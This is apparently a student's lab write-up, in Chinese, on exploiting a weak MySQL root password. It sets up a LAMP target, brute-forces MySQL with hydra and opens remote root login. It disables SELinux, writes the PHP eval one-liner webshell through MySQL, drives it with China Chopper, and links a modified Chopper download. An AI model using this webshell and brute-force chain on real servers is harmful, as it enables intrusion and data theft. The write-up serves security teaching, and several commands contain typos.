MySQL弱密码和webshell

MySQL弱密码和webshell问题文档
一、了解漏洞
1、mysql是什么
MySQL 是最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS(Relational Database Management System:关系数据库管理系统)应用软件之一。
关系数据库管理系统(Relational Database Management System:RDBMS)是指包括相互联系的逻辑组织和存取这些数据的一套程序 (数据库管理系统软件)。关系数据库管理系统就是管理关系数据库,并将数据逻辑组织的系统。
数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。
MySQL所使用的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策,分为社区版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。由于其社区版的性能卓越,搭配 PHP 和 Apache 可组成良好的开发环境。与其他的大型数据库例如 Oracle、DB2、SQL Server等相比,MySQL [1] 自有它的不足之处,但是这丝毫也没有减少它受欢迎的程度。对于一般的个人使用者和中小型企业来说,MySQL提供的功能已经绰绰有余,而且由于 MySQL是开放源码软件,因此可以大大降低总体拥有成本。
Linux作为操作系统,Apache 或Nginx作为 Web 服务器,MySQL 作为数据库,PHP/Perl/Python作为服务器端脚本解释器。由于这四个软件都是免费或开放源码软件(FLOSS),因此使用这种方式不用花一分钱(除开人工成本)就可以建立起一个稳定、免费的网站系统,被业界称为“LAMP“或“LNMP”组合。
他一般默认端口是3306。
2、mysql弱密码漏洞是什
由于mysql root账户的password设置简单,很容易被爆破成功,从而很容易被入侵者获得密码,并获得高权限
二、分析漏洞原理
1、具体漏洞产生原理是什么
由于mysql root账户的password设置简单,很容易被爆破成功,从而很容易被入侵者获得密码,并获得高权限
2、漏洞结合webshell有什么危害?
Webshell是什么:
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
WebShell后门具有隐蔽性,一般有隐藏在正常文件中并修改文件时间达到隐蔽的,还有利用服务器漏洞进行隐藏,如 “…” 目录就可以达到,站长从FTP中找到的是含有“…”的文件夹,而且没有权限删除,还有一些隐藏的WEBSHELL,可以隐藏于正常文件带参数运行脚本后门。
webshell可以穿越服务器防火墙,由于与被控制的服务器或远程过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。
从根本上解决动态网页脚本的安全问题,要做到防注入、防爆库、防COOKIES欺骗、防跨站攻击(xss)等等,务必配置好服务器FSO权限。最小的权限=最大的安全。防范webshell的最有效方法就是:可写目录不给执行权限,有执行权限的目录不给写权限。
危害:
注入也是获取数据库信息,如果攻击者获取了mysql的权限,获取了数据,便可得到数据库数据,同时网站的许多敏感信息都是存放的数据库中的,比如用户名密码,管理员账号密码。然而加密往往都是MD5,基本上简单的md5都可以通过网上的彩虹表匹配找到对应的密码。然后攻击者便可利用账号密码登录web后台,利用上传木马等手段,更可获取网站服务器的权限,甚至之后的内网等等。所以说mysql结合webshell的危害是很可怕的。
三、漏洞重现与利用
1、安装配置Apache、PHP、MySQL(lamp)
什么是Apache:
Apache HTTP Server(简称Apache),是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。Apache取自“a patchy server”的读音,意思是充满补丁的服务器,因为它是自由软件,所以不断有人来为它开发新的功能、新的特性、修改原来的缺陷。Apache有多种产品,可以支持SSL技术,支持多个虚拟主机。Apache是以进程为基础的结构,进程要比线程消耗更多的系统开支,不太适合于多处理器环境,因此,在一个Apache Web站点扩容时,通常是增加服务器或扩充群集节点而不是增加处理器。支持最新的HTTP/1.1通信协议。
什么是PHP:
PHP即“超文本预处理器”,是一种通用开源脚本语言。PHP是在服务器端执行的脚本语言,与C语言类似,是常用的网站编程语言。PHP独特的语法混合了C、Java、Perl以及 PHP 自创的语法。利于学习,使用广泛,主要适用于Web开发领域。
容易学习和使用的一门语言,它的语法特点类似于C语言,但又没有C语言复杂的地址操作,而且又加入了面向对象的概念,再加上它具有简洁的语法规则,使得它操作编辑非常简单,实用性很强。
数据库连接的广泛性:PHP可以与很多主流的数据库建立起连接,如MySQL、ODBC、Oracle等,PHP是利用编译的不同函数与这些数据库建立起连接的,PHPLIB就是常用的为一般事务提供的基库。
面向过程和面向对象两者一起混用,这是其它很多编程语言是做不到的。
安装并启用Apache:

$ yum install httpd –y
$ systemctl enable httpd
$ systemctl start httpd

在这里插入图片描述

安装mysql:
第一步,下载一个Mysql客户端

dnf install mysql *

这时,当你执行命令:mysql -uroot -p 会出现以下错误:

mysql connection refused and mysql no such file or directory

或者其他有些变化的提示,反正就是没有本地服务器的意思啦
第二步,安装MySQL YUM资源库(之前的尝试很可能是因为没有这一步而不能执行下面的mysql-community-server)

dnf install https://dev.mysql.com/get/mysql57-community-release-fc23-8.noarch.rpm

第三步,更新或安装MySQL 5.7.13(时间较长)

dnf install mysql-community-server

第四步

systemctl start mysqld.service    //启动mysql服务器并同时自动启动mysql

在这里插入图片描述
第五步

grep 'A temporary password is generated for root@localhost' /var/log/mysqld.log |tail -1 //获取随机生成的root密码

在这里插入图片描述
在这里插入图片描述
然后设置mysql的安全配置:

$ /usr/bin/mysql_secure_installatio

主要是进行更改root密码,是否删除匿名用户,是否允许远程root登录,是否删除测试数据库并访问它,是否重新加载特权表等进行配置。最重要的就是更改系统自动生成的密码。
在这里插入图片描述
安装PHP:

$dnf install php –y
$ vi /var/www/html/test.php     //检查php是否成功安装
$ <?
phpphpinfo();
?>   //文本写入,这里这个文本不同博客给的不一样,多试几次才能成功

出现下图

$ systemctl restart httpd     //重启apache

在这里插入图片描述

可以看到php环境配置成功了,然后需要安装php模块,主要是用于连接php和mysql 的:

$ dnf search php
$ dnf install php-mysql –y(这里有出入,因为我的yum源里面没有mysql,只有mysqlnd查找资料
PHP-MySQLi 的 i 代表 Improvement ,提更了相对进阶的功能,)
$ systemctl restart httpd

在这里插入图片描述

2、设置mysql的安全配置
主要更改是远程登入的限制和文件保存位置的限制,下面会有。
3、安装hydra 4、使用hydra进行mysql的弱密码攻击并尝试利用mysql写入webshell,从而利用 webshell进行进一步攻击
Hydra破解mysql:
写一个txt作为字典里面存放之前设置好的mysql密码:
在这里插入图片描述
附hydra命令参数:
-R 根据上一次进度继续破解
-S 使用SSL协议连接
-s 指定端口
-l 指定用户名
-L 指定用户名字典(文件)
-p 指定密码破解
-P 指定密码字典(文件)
-e 空密码探测和指定用户密码探测(ns)
-C 用户名可以用:分割(username:password)可以代替-l username -p password
-o 输出文件
-t 指定多线程数量,默认为16个线程
-vV 显示详细过程
server 目标IP
service 指定服务名(telnet ftp pop3 mssql mysql ssh ssh2…)

$ hydra -l root -P /var/www/html/passwords.txt 120.0.0.1 mysql

在这里插入图片描述
在这里插入图片描述

更改mysql登陆权限为远程登录:

mysql -u root -p  
mysql;use mysql;  
mysql;select 'host' from user where user='root';  
mysql;update user set host = '%' where user ='root';  
mysql;flush privileges;  
mysql;select 'host'   from user where user='root'; 

在这里插入图片描述
登陆:
在这里插入图片描述
成功登入:
当前问题,没有文件夹写入权限,尽管本机上chome 777 www
之后发现问题:
在这里插入图片描述
https://blog.csdn.net/yanjun821126/article/details/80828908
安全增强型 Linux(Security-Enhanced Linux)简称 SELinux,它是一个 Linux 内核模块,也是 Linux 的一个安全子系统。
SELinux 主要由美国国家安全局开发。2.6 及以上版本的 Linux 内核都已经集成了 SELinux 模块。
SELinux 的结构及配置非常复杂,而且有大量概念性的东西,要学精难度较大。很多 Linux 系统管理员嫌麻烦都把 SELinux 关闭了。

查看SELinux状态:
1、/usr/sbin/sestatus -v ##如果SELinux status参数为enabled即为开启状态
  SELinux status: enabled
2、getenforce ##也可以用这个命令检查
  关闭SELinux:
3、临时关闭(不用重启机器):
  setenforce 0 ##设置SELinux 成为permissive模式
4、临时开启(不用重启机器):
  setenforce 1 ##设置SELinux 成为enforcing模式
5、修改配置文件需要重启机器:
  修改/etc/selinux/config 文件
  将SELINUX=enforcing改为SELINUX=disabled
  重启机器即可

临时关闭靶机的SE模式之后
在这里插入图片描述
在这里插入图片描述
中国菜刀总连不上,后来发现是防火墙的问题,临时关闭
在这里插入图片描述
但之后还是
在这里插入图片描述
在高版本的php新增了安全策略会自动过滤非法提交的post或get参数,所以这样导致了很多同学用菜刀连接失败,响应确实200.因为一句话执行了,但是get/post参数没有成功转换为变量。
猜测php7中的一句话无法用菜刀连接的可能是因为php7中对菜刀中集成的代码中的某个重要函数进行了过滤,所以菜刀不能连接,我们自己写的却可以。
还有其他方法,比如直接写入了webshell大马,直接连接。
实在弄不出来,等待学长救援。。。
学长来了,大马就可以。。。。

在利用webshell时确保主机能访问靶机的apache服务。这样才能保证菜刀可以连接成功。还有就是在高版本的php新增了安全策略会自动过滤非法提交的post或get参数,所以这样导致了很多同学用菜刀连接失败,响应确实200.因为一句话执行了,但是get参数没有成功转换为变量。写入webshell时最主要的就是权限问题了。Mysql5.7中写入导出指定了文件夹,使我们不能成功将一句话写入到指定的的文件夹。我在my.cnf加入上面提到的代码,使可以导出到任意有权限的目录。
因为当php7时因为菜刀无法连接的问题,所以使用手动的方法连接。所以我将传递的一句话<? php eval($_POST[cmd]); ?> 里面的POST传递模式改为了GET这样方便演示,因为post的话还需要抓包更改,但也是可以的。
在这里插入图片描述
可以看到,将语句赋值给cmd之后便可传过去执行。其实就是菜刀把我们传过去的cmd设置成为全局变量,然后我们传参之后就可以进行语句执行,菜刀就是集成这些语句。
因为get传参有长度限制,所以我使用postman来进行post的传参查询

在这里插入图片描述
网上找了查询php查询文件的代码,成功查询到了目录下的文件,然后输入不同函数就可以执行了。比如下载等,菜刀其实就是集成了这些代码的工具,我们通过自己手动测试也可以达到一样的效果。所以猜测php7中的一句话无法用菜刀连接的可能是因为php7中对菜刀中集成的代码中的某个重要函数进行了过滤,所以菜刀不能连接,我们自己写的却可以。
还有其他方法,比如直接写入了webshell大马,直接连接。
在这里插入图片描述
但是就是大马写入的时候比较麻烦,代码较长。写入数据库时比较麻烦,而且不容易伪装,很容易被发现。
解决php7无法使用菜刀连接一句话问题
因为php7对菜刀的过滤,所以博主分析一个更改后可以在php7环境下连接一句话的java版菜刀,mac和win都可以用
百度网盘:https://pan.baidu.com/s/1d28kqi

5、如果公司的mysql存在弱密码会有怎样的风险
如果某个公司的web服务器存在弱密码,很有可能被攻击者利用,破解,爆破出了数据库用户密码,这会致使公司网站信息,内部信息被窃取,许多敏感信息暴露,甚至可能被攻击者勒索。其次,如果攻击者获取数据权限后还获取了webshell,进行提权等操作之后,便可获得公司服务器的权限,造成更严重的信息泄露。
四、进行使用openvas对该存在漏洞的系统扫描
和之前一样,苦逼的我没有openvas,,所以粘贴别人的
因为怕扫不出来所以我不mysql的密码改成了123456.

可以看到成功的扫描出了mysql weak password。Mysql的弱密码,点进去可以看到,mysql中root用户的密码已经被爆出来了,为123456;同时可以看到这是一个高危漏洞,评分为9.0分。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值